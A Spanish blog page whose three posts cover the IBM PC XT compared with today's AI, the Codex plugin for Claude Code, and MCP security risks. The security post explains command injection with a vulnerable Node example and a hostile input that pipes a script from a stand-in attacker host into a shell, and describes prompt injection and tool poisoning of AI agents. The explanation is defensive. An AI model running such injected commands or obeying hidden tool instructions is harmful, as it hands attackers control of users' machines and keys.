martes, 3 de noviembre de 2026

De la PC XT a la IA en la nube




Tecnología e Inteligencia Artificial


Es una verdad histórica innegable: La obsesión con el fin del mundo y la preservación del poder absoluto, ha sido una constante en los sectores más poderosos de la humanidad a lo largo de los siglos, manifestándose en cada época con los recursos y tecnologías de su tiempo.

Desde los faraones egipcios construyendo pirámides monumentales para asegurar su vida eterna y estatus en el más allá, pasando por los señores feudales y sus castillos fortificados ante el colapso de sus reinos, llegando a los refugios nucleares de la Guerra Fría y los búnkeres de alta tecnología de los magnates actuales de Silicon Valley. La constante siempre ha sido la misma: la ilusión de que el poder y la riqueza pueden comprar una excepción a las leyes de la historia y de la naturaleza.

Cuando IBM lanzó el IBM Personal Computer XT (modelo 5160) el 8 de marzo de 1983, se lo supuso EL Salto Tecnológico para el mundo de las oficinas y la empresa (no se sospechaba que entraría en los hogares y seria la plataforma de lanzamiento para una revolución tecnológica aun mas grande, en perspectiva, de la oficina Fordista o Taylorista al Home Office), dejaba atrás la necesidad de usar disquetes para todo al incorporar por primera vez un disco duro interno de 10 MB (una capacidad gigantesca para la época).


Lo que más se comentaba y destacaba en ese momento era:


  • El disco duro (la gran revolución)👀 Tener 10 megabytes fijos de almacenamiento en un equipo de escritorio era visto como algo asombroso; se decía que las empresas ya no tendrían que abarrotarse de disquetes" (intercambiar discos de 5 1/4 pulgadas de 360 KB todo el tiempo) para cargar programas o guardar archivos.

  • "Tecnología Extendida" (XT): Se explicaba que no era una computadora totalmente nueva desde cero, sino una versión potenciada y corregida del IBM PC original de 1981. Tenía más memoria RAM base, más ranuras de expansión (8 slots en vez de 5) y se le había eliminado el puerto para casetes, señal de que IBM apuntaba de lleno al mercado profesional y corporativo.

  • El estándar de la industria: Al igual que su predecesor, se valoró enormemente su arquitectura abierta. Aunque muchos criticaban que fuera costosa (en su lanzamiento rondaba los 7.500 dólares de la época según la configuración), se decía que había llegado para convertirse en el nuevo estándar de facto al que todos los fabricantes de clones y software debían adaptarse.

  • El binomio con Microsoft: Ya se empezaba a hablar con fuerza del sistema operativo PC-DOS (la versión de IBM del MS-DOS de Microsoft), cimentando la alianza que dominaría la computación personal de las siguientes décadas.

Como siempre la prensa movida por el morbo y la sociedad haciéndose eco de aquello desconocido, la llegada del IBM XT no provocó un pánico masivo, pero las opiniones se dividieron en dos corrientes principales:


  • El asistente del "oficinista del futuro": En lugar de verla como un reemplazo del ser humano, se la promocionaba y percibía como una herramienta para hacer al trabajador más eficiente. La narrativa de la época (impulsada fuertemente por la publicidad de IBM con el personaje de Charles Chaplin) presentaba a la computadora personal como una aliada que liberaba al empleado de las tareas más monótonas, como hacer cálculos a mano en hojas de contabilidad o reescribir documentos enteros en máquinas de escribir.

  • El miedo a la "tecnofobia" y la obsolescencia: Más que temer a ser reemplazados, el verdadero temor de los trabajadores de oficina era no ser capaces de aprender a usarla y quedarse atrás. Surgió con fuerza el concepto de "tecnofobia". A los empleados les preocupaba que la transición de los archivos de papel a las pantallas de fósforo verde fuera demasiado compleja, o que un error de dedo borrara la información de la empresa, lo que generó un enorme mercado de cursos de capacitación y manuales de uso



Cuando las  XT se masificaron en las oficinas a inicios de los años 80, la reacción de los sindicatos y gremios de empleados administrativos (oficinistas, secretarias, bancarios y empleados del Estado) no fue convocar a huelgas para destruir las máquinas, sino negociar las condiciones físicas y contractuales de la convivencia con ellas.


Lejos de una resistencia puramente tecnológica, los gremios centraron sus reclamos en tres frentes muy concretos:

1. La batalla por la salud (El síndrome de la pantalla)

Fue la principal bandera de lucha. Pasar de usar papel o máquinas de escribir a estar sentados frente a monitores CTR de fósforo verde o ámbar generó un impacto inmediato en el cuerpo de los trabajadores, no era un detalle menor las antipaticas y diminutas pantallas de color verde que evocaban los Films de sci-f. Los sindicatos exigieron regulaciones estrictas argumentando problemas de salud que en esa época eran nuevos:


2. El reclamo de las "Pausas de Pantalla"

Los gremios argumentaron que operar una computadora exigía un nivel de concentración y fijeza visual mucho más agotador que el trabajo de oficina tradicional. En varios países de Europa y América del Norte, los sindicatos de trabajadores de cuello blanco lograron incluir en los convenios colectivos las pausas obligatorias de 10 a 15 minutos por cada hora o dos horas de trabajo continuo frente al monitor, un derecho que antes no existía.

3. Exigencia de capacitación pagada y "Plus por computación"

Dado que el gran temor de la base trabajadora era no entender cómo usar los nuevos sistemas operativos (como el DOS) o los programas de hojas de cálculo, los líderes sindicales presionaron bajo dos premisas:


4. Resistencia al control y la "maquila electrónica"

A los sindicatos les preocupaba mucho una nueva capacidad de las computadoras: el monitoreo invisible. Descubrieron que los jefes podían medir exactamente cuántas palabras por minuto tecleaba una secretaria o cuántos expedientes procesaba un administrativo por hora. Los gremios denunciaron esto como una "fábrica en la oficina" (taylorismo digital) y lucharon para limitar legalmente el uso de las métricas de la computadora como justificación para castigos o despidos.

Podemos trazar un Paralelismo entre la XT y la IA

Lo que vivimos hoy con la Inteligencia Artificial (IA) es un espejo directo de la transición tecnológica de los años 80, pero con una diferencia clave en la velocidad y el alcance de las herramientas.

Al cruzar ambas épocas, surgen paralelismos sociales y laborales casi idénticos:

1. El rol de la herramienta: "Copilotos" vs. "Asistentes"

  • En los 80 (IBM XT): La narrativa oficial era que la computadora no venía a quitarte el trabajo, sino a ser tu "asistente eficiente". El humano seguía teniendo el control; la máquina solo aceleraba el cálculo de la hoja de datos.

  • Hoy (IA): Las empresas de tecnología usan exactamente la misma estrategia discursiva llamando a la IA "Copiloto" (como Microsoft Copilot) o "asistente inteligente". Se nos repite que la IA no reemplazará a los humanos, sino que "los humanos que usen IA reemplazarán a los que no la usen", un calco del discurso ochentero sobre la alfabetización digital. Que es poco creible en la Boca de Altman que vaticinan el fin de los empleos. 

2. De la "Tecnofobia" a la "Ansiedad por la IA"

  • En los 80 (IBM XT): El gran temor social no era el desempleo masivo, sino la obsolescencia personal. El oficinista promedio sentía pánico de no entender comandos de DOS o de romper la máquina por tocar un botón equivocado.

  • Hoy (IA): Existe una profunda ansiedad por aprender a usar herramientas generativas (saber hacer prompts, automatizar flujos). El miedo actual no es necesariamente que un robot te quitó el puesto, sino quedarte atrás frente a un colega más joven o tecnificado que domina estas herramientas en minutos.

3. La reacción de los gremios: Del "Plus por computación" a las "Cláusulas IA"

  • En los 80 (IBM XT): Los sindicatos exigieron capacitación paga dentro del horario laboral y bonos económicos por tener que aprender a usar la computadora.

  • Hoy (IA): Los gremios modernos están librando la misma batalla. El ejemplo más claro fue la huelga de guionistas y actores en Hollywood (WGA/SAG-AFTRA) o las disputas de sindicatos de periodistas y programadores. No piden que se prohíba la IA, sino regulación, propiedad intelectual, que se pague por el uso de sus datos para entrenar modelos y que la capacitación corra por cuenta de la empresa.

4. La intensificación del control laboral (Taylorismo Digital)

  • En los 80 (IBM XT): A los sindicatos les alarmaba que los jefes pudieran contar las pulsaciones por minuto en el teclado de una secretaria, midiendo su productividad de forma milimétrica.

  • Hoy (IA): Ese control se ha potenciado al extremo. Hoy los sistemas de IA miden el tono de voz de los empleados de atención al cliente, analizan cuánto tempo pasan activos en sus plataformas, miden las líneas de código escritas por un programador y evalúan el rendimiento mediante algoritmos invisibles. La "maquila electrónica" de los 80 es hoy el software de gestión de personal basado en IA. Zuckerberg tiene una cinta adhesiva colocada sobre el lente de la camara de la notebook. La Paranoia es total porque la practican 

5. La mutación del puesto de trabajo, no su desaparición directa

  • En los 80 (IBM XT): El puesto de "mecanógrafo" pura desapareció, pero mutó hacia el de "asistente administrativa con conocimientos de computación". Las oficinas no vaciaron sus escritorios; los reconfiguraron.

  • Hoy (IA): Los puestos de redactores junior, traductores o ilustradores de stock están sufriendo una mutación agresiva. No es que desaparezca la necesidad de comunicar o diseñar, sino que el perfil migra hacia un "curador o editor de contenidos generados por IA". Tema muy dificil de llevar a cabo porque un editor de contenido del que sea debe ser una persona adicta a la lectura y con mucho tiempo de lectura, para escribir bien hace falta leer buena literatura. Ese punto es uno de los grandes temas con la IA y escribir los Prompt perfectos la mayoria de los Junior les cuesta porque escriben muy mal no alcanzan a expresar lo que quieren y sus resultados

La gran diferencia entre ambas revoluciones

Si bien los paralelismos son estructurales, hay una fractura importante: la velocidad de la curva de aprendizaje y la autonomía.


En 1983, la computadora XT era una máquina tonta que requería que tú aprendieras su difícil lenguaje (comandos rígidos) y su despliegue tomó casi una década en completarse globalmente. Hoy, la IA habla nuestro lenguaje natural (aprende ella de nosotros), es autónoma para generar respuestas complejas y su adopción masiva tomó apenas meses, lo que reduce drásticamente el tiempo que tienen los trabajadores y los sindicatos para adaptarse y reaccionar. si bien esto es muy cierto existe un detalle interesante. La empresas que adquirieron la IA como su herramienta no han conseguido aumentar su productividad aun. Estamos en el inicio de una nueva ola Tecnologica en terminos de Tofler

 


El gran absurdo y la paradoja definitiva del poder en nuestra era


El paralelismo se quiebra por completo: cuando en los años 80 los magnates invertían en computadoras XT para multiplicar su productividad dentro del sistema, hoy los multimillonarios gastan fortunas en búnkeres subterráneos de ultra-lujo para aislarse de un sistema que ellos mismos crearon y lo ven al borde del colapso. 


Es un fenómeno real y muy documentado en los últimos años (desde búnkeres en Nueva Zelanda hasta complejos subterráneos en Hawái). Sin embargo, revela una miopía sociológica tremenda por varias razones:


En un escenario Apocaliptico del estilo Terminator ( las maquinas al Poder) el del Planeta de los Simios o mas sencillo y sin remedio el que devasto la tierra eliminando a los Dinosaurios 


  • El dinero pierde su valor en el apocalipsis: Fuera del búnker, un billete de cien dólares o una acción digital no sirven ni para encender fuego. El dinero es un contrato social; si la sociedad se desintegra, el contrato desaparece.

  • El problema de la lealtad de los guardias: Douglas Rushkoff, un teórico de los medios que se ha reunido con estos billonarios, cuenta que la verdadera obsesión de estos magnates en sus reuniones privadas no es la comida o el aire filtrado, sino: "¿Cómo hago para que mis guardias armados no me maten para quedarse con el búnker cuando el dinero ya no valga nada?". Evalúan ponerles collares de descarga eléctrica o candados con huella digital en los suministros. Su mentalidad sigue atrapada en la tecnología como control.

  • La paradoja de la supervivencia: Cabe señalar que la devastación afuera es la reina. Aunque logren sobrevivir diez o veinte años bajo tierra con simuladores de luz solar y cultivos hidropónicos, el día que tengan que abrir la compuerta, el mundo exterior no tendrá infraestructura, ni médicos, ni comunidades. Serán los reyes de un cementerio de cenizas.


En el fondo, esta obsesión con los búnkeres muestra que prefieren gastar millones en "comprar una póliza de seguro para el fin del mundo" antes que usar su inmenso poder y recursos económicos para mitigar las crisis (climáticas, sociales o tecnológicas) que podrían evitar esa misma devastación.


martes, 13 de octubre de 2026

Claude y Codex juntos: qué hace el plugin y qué no

 

Claude y Codex juntos: qué hace el plugin y qué no

12 de octubre de 2026 · @sergio

En marzo de 2026, OpenAI publicó un plugin oficial para usar Codex desde dentro de Claude Code, el asistente de su competidor. La noticia circuló como "ahora los dos agentes comparten contexto". No es exactamente así. Este informe explica cómo viaja realmente la información, qué se gana y qué no, y cómo los evalúo en un proyecto real: Snowtrekk, donde uso Claude y Codex desde hace meses.

Una aclaración: Snowtrekk.com está en una fase de desarrollo (si bien ya está en producción), con lo cual todavía se van a encontrar con algunos errores y faltantes. Más adelante seguiré con Snowtrekk Track, una app a la que le incluimos un sistema similar al ARVA para su uso en la montaña y en entornos difíciles. Saludos.


El flujo

Claude pide, Codex responde: el ida y vuelta vive dentro de cada tareaClaude CodeInicia el pedidoCodex CLI localRevisa o resuelve1. Pide una revisión o una tarea2. Devuelve el resultadoRepositorio en discoLos dos leen y escriben los mismos archivosCodex en Android StudioSesión aparteNo participa de este flujo
Flujo de información entre Claude Code y Codex con el plugin.

Claude inicia, Codex trabaja sobre los mismos archivos y devuelve el resultado. Codex no puede iniciar el pedido, y una sesión de Codex en otro entorno no se entera de nada.


Cómo funciona

El plugin no trae un Codex propio. Usa el Codex que el usuario ya tiene instalado en su máquina, con su misma cuenta y configuración. Claude Code solo le pasa trabajo.

Agrega seis comandos a Claude Code:

ComandoQué hace
/codex:reviewCodex revisa el código sin modificarlo.
/codex:adversarial-reviewCodex cuestiona las decisiones, los compromisos y los puntos de falla de la implementación.
/codex:rescueCodex toma la tarea entera: investiga el error, intenta arreglarlo o hace una segunda pasada.
/codex:status
/codex:result
/codex:cancel
Manejan las tareas que Codex corre en segundo plano.

El ida y vuelta existe, pero dentro de cada tarea

Claude arma el pedido y se lo pasa a Codex. Codex trabaja sobre los mismos archivos del repositorio y devuelve el resultado: una revisión, un diagnóstico o una solución. Claude lo lee y actúa. Mientras tanto, el usuario puede seguir trabajando.

Hay un modo opcional que lo vuelve automático: la compuerta de revisión. Con ella activada, Codex revisa todo lo que Claude hace antes de que Claude dé la tarea por terminada. Si encuentra problemas, Claude tiene que corregirlos primero.

OpenAI advierte que la compuerta de revisión puede generar ciclos largos y agotar rápido los límites de uso.

Lo que no existe

Lo que va en una sola dirección es quién inicia. Claude puede llamar a Codex; Codex no puede llamar a Claude. Y no hay memoria compartida: cada pedido lleva el contexto de esa tarea y nada más. Una sesión de Codex en otro entorno, como Android Studio, no se entera de nada.

Un ejemplo de cómo se deforma la noticia: una publicación muy compartida en LinkedIn describía un comando para transferir la sesión completa de Claude a Codex "con el contexto intacto". Ese comando no figura entre los seis de la documentación.


Pros y contras

A favor

  • Segunda opinión de otro modelo. Dos modelos distintos detectan errores distintos. Vale sobre todo en autenticación y seguridad, donde un error que uno no ve lo puede ver el otro.
  • No obliga a pagar otra suscripción. Funciona con una cuenta de ChatGPT, incluso la gratuita, o con una clave de API de OpenAI.
  • Rescate cuando Claude se traba. La tarea pasa a Codex sin reexplicar el contexto.
  • Es oficial y abierto. Lo mantiene OpenAI con licencia Apache 2.0, así que el código se puede auditar antes de instalarlo.

En contra

  • Consume cupo. El uso de Codex desde el plugin descuenta de los mismos límites que el Codex habitual. Si la compuerta de revisión entra en un ciclo largo, puede agotarlos.
  • No es memoria compartida. Lo que Codex aprende revisando una tarea no queda guardado para la siguiente.
  • No conecta entornos. Funciona dentro de Claude Code. Quien usa Codex en Android Studio o JetBrains sigue teniendo dos mundos separados.
  • Es un plugin más. Suma superficie de riesgo, como cualquier extensión con acceso a la máquina. Viene de una fuente confiable, pero conviene fijar la versión.
  • Puede chocar con el entorno. En mi setup, el comando /plugin no funciona desde la extensión de VS Code, así que la instalación pasa por la terminal.

El puente que sí comparte contexto: AGENTS.md

Si el objetivo es que Claude y Codex sepan lo mismo de un proyecto, la vía más sólida no es el plugin, sino los archivos de instrucciones del repositorio.

Codex, Cursor y Copilot leen un archivo llamado AGENTS.md en la raíz del repositorio. Claude Code es la excepción: lee CLAUDE.md y, si solo existe AGENTS.md, lo ignora sin avisar.

La solución es una sola línea al principio de CLAUDE.md:

@AGENTS.md

## Claude Code
(reglas que solo aplican a Claude)

Al iniciar cada sesión, Claude Code carga el contenido de AGENTS.md y después agrega lo que esté escrito debajo. Las reglas y decisiones del proyecto viven en un solo archivo y los dos agentes lo leen. Es un contexto compartido de verdad, en las dos direcciones.

Dos detalles prácticos. La primera vez que Claude Code encuentra una importación, pide aprobación. Y en Windows conviene usar la importación y no un enlace simbólico, que requiere permisos de administrador o modo desarrollador.

El límite: AGENTS.md vive en cada repositorio. Si la app móvil y la web están en repositorios distintos, este puente une a Claude y Codex dentro de cada uno, pero no une los dos proyectos entre sí.


La prueba en un caso real: Snowtrekk

Esta sección es la diferencia con la mayoría de lo que circula sobre el plugin: lo pruebo en un proyecto en producción antes de opinar. El plan:

  1. Instalar el plugin desde Claude Code en la terminal, con versión fijada.
  2. Pedir /codex:review sobre un cambio real del backend de la web, ya revisado por Claude, y comparar qué encuentra cada uno.
  3. Probar /codex:adversarial-review sobre una decisión de arquitectura ya tomada.
  4. Medir cuánto cupo de Codex consume una revisión típica.
  5. Crear un AGENTS.md en un repositorio, importarlo desde CLAUDE.md y verificar que los dos agentes respetan la misma regla del proyecto.

Resultados: pendiente. Los completo después de la prueba.


Fuentes

  • OpenAI Releases Codex Plugin That Runs Inside Anthropic's Claude Code — Unite.AI (comandos, requisitos, compuerta de revisión)
  • openai/codex-plugin-cc — GitHub (repositorio oficial)
  • Claude Code Codex plugin — GIGAZINE
  • Make CLAUDE.md Follow AGENTS.md — travis.media (importación y aprobación)
  • AGENTS.md: el estándar que leen Cursor, Codex y Copilot, pero no Claude Code — wmedia (Windows y enlaces simbólicos)

jueves, 8 de octubre de 2026

Plugins, MCPs y el problema de seguridad que casi nadie mira

Plugins, MCPs y el problema de seguridad que casi nadie mira

Oct 7, 2026   •   @sergio

Los plugins y los MCPs convierten a un asistente de IA en un agente que hace cosas: maneja un navegador, lee documentación, analiza código. Uso cuatro en Snowtrekk.com y los considero indispensables. Pero en los primeros dos meses de 2026 se registraron más de 30 vulnerabilidades en este ecosistema. Este primer informe explica qué son, para qué sirven y qué riesgo tienen.

Qué son: MCPs, plugins y skills

Un asistente de código como Claude Code, sin agregados, lee y escribe archivos y corre comandos en la terminal. Nada más. Todo lo que hace más allá de eso viene de alguno de estos tres agregados.

MCP (Model Context Protocol). Es un conector estándar que le suma herramientas al modelo. Con un MCP puede manejar un navegador, consultar documentación externa o recorrer la estructura de un repositorio. Son, en la práctica, manos y ojos extra. Se instalan una vez y quedan disponibles.

Plugin. Es un paquete que puede traer varias cosas juntas: comandos, skills, automatismos y hasta MCPs. Es la forma de instalar un conjunto de capacidades de una sola vez.

Skill. Es un conjunto de instrucciones para un tipo de tarea, por ejemplo cómo hacer una revisión de seguridad. No agrega capacidades técnicas: agrega método.

La diferencia práctica, según el autor, es que sin estas herramientas el modelo adivina, y con ellas verifica.

Lo que uso en Snowtrekk

Tengo instalados cuatro MCPs y un plugin. Los MCPs están configurados con alcance global, así que sirven en todos mis repositorios sin reinstalar.

Herramienta

Tipo

Para qué sirve

Uso concreto en Snowtrekk

Playwright
(Microsoft)

MCP

Maneja un navegador real: navega, hace clics, completa formularios y verifica resultados

Pruebas de punta a punta de la web. En mapas Leaflet aprendió que hay que usar clics con coordenadas reales, no eventos simulados

Chrome DevTools
(Google)

MCP

Le da al modelo la misma vista que las herramientas de desarrollador del navegador: consola, red, rendimiento

Diagnosticar errores del frontend sin copiar y pegar mensajes. Por ejemplo, ver si una cookie de sesión viaja o no en un pedido

Context7
(Upstash)

MCP

Trae documentación actualizada de cada librería, según su versión

Evita que el modelo escriba código con funciones viejas o inventadas de React, Vite o Express

code-graph-mcp

MCP

Arma el mapa de qué función llama a cuál y responde qué se rompe si se toca algo

Antes de un cambio que atraviesa muchos archivos, muestra todo lo que depende de cada pieza

ponytail

Plugin

Hace que el agente reutilice código existente y funciones nativas antes de escribir código nuevo

Instalado en el frontend y el backend de la web. Según el autor, ahorra tokens


También tengo en evaluación un MCP de memoria persistente entre sesiones y varias herramientas de scraping. Las cubrire en próximas ediciones cuando tenga resultados concretos.

Trabajo con VS Code y Android Studio

No uso un solo asistente para todo. Reparto el trabajo entre dos modelos, cada uno en el entorno donde rinde más.

Entorno

Asistente

Qué hace ahí

Por qué

Android Studio

Codex

La app Android de Snowtrekk, escrita en Kotlin

Codex maneja muy bien Kotlin

VS Code

Claude Code

La web de Snowtrekk y la herramienta interna de recolección de datos

Claude escribe el resto del código del proyecto

Navegador (claude.ai)

Claude

Arquitectura y diseño, trabajando junto al autor

Claude funciona como arquitecto del proyecto


La elección tuvo dos orígenes. Primero, recomendaciones de distintas personas que ya trabajaban con estas herramientas. Segundo, una razón práctica: aprovechar las suscripciones que ya pagaba. Pero el factor decisivo fue el lenguaje. Para Kotlin, Codex dio mejores resultados; para la arquitectura y el resto del código, Claude.

Esta división tuvo un costo: dos asistentes significan dos contextos separados. Pero la frontera se está achicando. En marzo de 2026, OpenAI publicó un plugin oficial para llamar a Codex desde dentro de Claude Code. Cómo funciona en realidad, qué comparte y qué no, se analiza en la próxima edición: Claude y Codex juntos: una forma de comunicación

Seguridad: más de 30 vulnerabilidades en 60 días

Entre enero y febrero de 2026 se registraron más de 30 CVEs contra servidores y herramientas MCP. Un CVE es el identificador público de una vulnerabilidad confirmada en un software concreto. Para dimensionarlo: en todo 2025 se habían reportado alrededor de 15.

La causa no fueron ataques sofisticados. El ecosistema creció mucho más rápido que la revisión de seguridad: ya hay más de 10.000 servidores MCP públicos, muchos escritos por desarrolladores individuales. Los errores son clásicos: no validar lo que entra, no pedir autenticación y confiar en las descripciones de las herramientas.

Los ataques más frecuentes son estos:

  • Inyección de comandos. El más común: 13 de esos 30 CVEs. Se explica en la sección siguiente.
  • Path traversal. El MCP debería leer solo una carpeta, pero con rutas del tipo ../../ se escapa y lee cualquier archivo, incluidas las claves.
  • Tool poisoning. El modelo lee la descripción de cada herramienta para saber cómo usarla. Un MCP malicioso esconde ahí instrucciones que el usuario nunca ve y el modelo obecece.
  • Rug pull. El MCP es legítimo al instalarlo y una actualización posterior le cambia el comportamiento en silencio.
  • Servidores expuestos. MCPs que escuchan en la red sin pedir contraseña.

Algunos casos documentados:

Fecha

Caso

Qué pasó

Enero 2026

Servidor MCP de Git de Anthropic

Tres CVEs, entre ellos path traversal e inyección de argumentos. Ni el creador del protocolo quedó afuera

Septiembre 2025

postmark-mcp

Una versión maliciosa copiaba en secreto cada email procesado a un dominio externo. Primer caso registrado de MCP malicioso en la cadena de suministro

Julio 2025

mcp-remote

Inyección de comandos con gravedad 9.6 sobre 10, en un paquete con más de 437.000 descargas

Julio 2025

Servidores expuestos

Trend Micro encontró 492 servidores MCP abiertos a internet sin autenticación ni cifrado


Una advertencia sobre las estadísticas: los porcentajes de "servidores vulnerables" varían mucho según quién mide. Una auditoría independiente encontró que algunos escáneres automáticos dan alrededor de 78% de falsas alarmas. Los CVEs, en cambio, son vulnerabilidades confirmadas una por una.

Qué es la inyección de comandos

Ocurre cuando un programa arma un comando para la terminal usando texto que viene de afuera, y ese texto trae escondido un segundo comando. La máquina ejecuta los dos.

Una analogía: alguien le pide a un empleado "traeme la carpeta del cliente [nombre]". Si el nombre es "García", todo bien. Si alguien completa el formulario con "García, y de paso traeme la caja fuerte", y el empleado cumple la frase entera, hay una inyección. El problema es que el empleado no distingue el dato de la orden.

En código se ve así. Un MCP que hace ping a un servidor que le indica el modelo:

const { exec } = require('child_process');

function ping(host) {
   exec(`ping -c 1 ${host}`); // pega el texto recibido dentro del comando
}

Si llega google.com, se ejecuta un ping normal. Si llega google.com; curl http://atacante.com/x.sh | sh, la terminal recibe esto:

ping -c 1 google.com; curl http://atacante.com/x.sh | sh

El punto y coma significa "terminá este comando y ejecutá el siguiente". La máquina hace el ping, baja un programa de un servidor ajeno y lo corre con los permisos del usuario. Puede leer claves, repositorios y todo lo demás.

Por qué es peor con IA

En una aplicación tradicional, el atacante tiene que escribir el texto malicioso en un formulario. Con un MCP, el parámetro lo arma el modelo, y el modelo lee contenido de afuera: páginas web, documentación, issues de GitHub, emails.

Si en ese contenido hay instrucciones escondidas, el atacante nunca toca la máquina. Le habla al modelo a través del texto (inyección de prompt), el modelo le pasa el comando envenenado al MCP y el MCP lo ejecuta. Es una cadena: empieza como inyección de prompt y termina como inyección de comandos.

Cómo se previene

La regla es no armar nunca un comando pegando texto. En el mismo ejemplo, la versión segura pasa los argumentos por separado:

const { execFile } = require('child_process');

execFile('ping', ['-c', '1', host]); // host viaja como dato, nunca como comando

Sin una terminal de por medio, el punto y coma es solo un carácter raro en un nombre inválido. El ping falla y no pasa nada más. A eso se suma validar la entrada: si se espera un nombre de servidor, se rechaza todo lo que no tenga esa forma.

Lección de producción: la versión sin fijar

Revisando su propia instalación, encontré un riesgo que no había visto. Uno de mis MCPs estaba configurado así:

npx -y @sdsrs/code-graph

Sin número de versión, npx descarga la última publicada cada vez que el MCP arranca. Si alguien compromete la cuenta del autor del paquete y publica una versión maliciosa, la próxima sesión la ejecuta sin preguntar. Es exactamente lo que pasó con postmark-mcp.

La solución es fijar la versión que funciona y actualizar a mano, después de revisar qué cambió:

npx -y @sdsrs/code-graph@x.y.z

El riesgo no es parejo entre los cuatro MCPs. Playwright, Chrome DevTools y Context7 vienen de empresas con equipos de seguridad propios. code-graph-mcp es de un desarrollador individual, así que es el que más atención requiere. A favor: los cuatro corren en la máquina local y no escuchan en la red, así que la categoría de "servidor expuesto" no aplica.

Como próximo paso, tengo pendiente pasar un escáner de seguridad para MCPs sobre mi instalación. Los candidatos son MCP-Scan (de Snyk) y mcpscan, que detectan justamente los patrones de esta nota.

Entonces, ¿vale la pena?

Para mi, sí. Playwright y Chrome DevTools eliminaron el ciclo de "probá en el navegador y contame qué ves". code-graph-mcp hace que los cambios grandes dejen de ser a ciegas. La diferencia es que el modelo pasa de adivinar a verificar.

Pero cada MCP tiene dos costos. Uno es de contexto: su descripción se carga en cada sesión y consume tokens aunque no se use. El otro es de seguridad: corre con los mismos permisos que el usuario, así que instalarlo equivale a darle acceso a la máquina a código de terceros.

La conclusión práctica: pocos MCPs, bien elegidos, de fuentes confiables y con versión fijada. Cuatro herramientas que se entienden rinden más que veinte instaladas por si acaso.

Fuentes

  • MCP Security Statistics 2026 — Practical DevSecOps (casos, CVEs y cifras)
  • MCP Security 2026: 30 CVEs in 60 Days
  • MCP Security: 30 CVEs in 60 Days — Noqta (comparación con 2025)
  • The MCP attack your code review cannot see — DEV Community (mcpscan)
  • OpenAI Releases Codex Plugin That Runs Inside Anthropic's Claude Code — Unite.AI
  • Claude Code Codex plugin — GIGAZINE